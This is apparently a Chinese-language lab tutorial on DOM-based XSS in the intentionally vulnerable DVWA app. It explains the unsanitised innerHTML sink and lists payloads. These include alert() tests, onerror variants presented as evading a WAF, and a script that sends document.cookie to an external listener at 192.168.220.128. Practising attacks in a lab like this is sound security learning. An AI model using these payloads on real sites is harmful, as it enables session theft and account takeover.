DOM-Based XSS(基于文档对象模型的跨站脚本攻击)
✅ 一、什么是 DOM XSS?
DOM XSS 是一种发生在浏览器端 JavaScript 中的漏洞,攻击者通过修改页面 URL 参数,使页面的 JS 脚本在未经清洗的情况下处理了恶意内容。
与反射型/存储型不同,DOM XSS 不依赖服务器端返回,而是浏览器前端脚本自己“造出来的洞”。
🧪 二、练习环境:DVWA > XSS (DOM)
- 拉取 DVWA 镜像并运行:docker run --rm -it -p 8080:80 vulnerables/web-dvwa
- 打开 DVWA 中的:
XSS (DOM) 页面
你可以在地址栏看到类似:
http://localhost:8080/vulnerabilities/xss_d/?default=English
🔥 三、构造攻击 payload
在 URL 参数 default 中注入恶意 JS:
示例 1:弹窗测试
将 URL 改为:
http://localhost:8080/vulnerabilities/xss_d/?default=<script>alert('XSS')</script>
如果弹窗生效,你就成功执行了 DOM XSS。
🧠 四、为什么会生效?
在查看网页源代码(Ctrl+U 或 F12)后,你会看到类似:
<script>var language = document.URL.split('default=')[1];document.getElementById("language").innerHTML = language;
</script>
这个 JS 没有对 language 内容进行任何转义或编码,直接将 URL 中的参数插入了 HTML 页面中,这就构成了 DOM XSS。
🛠️ 五、其他测试 payload(不触发 WAF)
隐形脚本:
"><script>alert(1)</script>
使用 onerror:
<img src=x onerror=alert('XSS')>
放在 URL 参数里:
http://localhost:8080/vulnerabilities/xss_d/?default=<img src=x onerror=alert('XSS')>
🎯 六、扩展测试:窃取 Cookie
如果你已经搭建了监听服务:
<script>new Image().src="http://192.168.220.128:8081/log?c=" + document.cookie;
</script>
URL 编码后放入:
http://localhost:8080/vulnerabilities/xss_d/?default=%3Cscript%3Enew%20Image().src%3D%22http%3A//192.168.220.128:8081/log%3Fc%3D%22%2Bdocument.cookie%3C/script%3E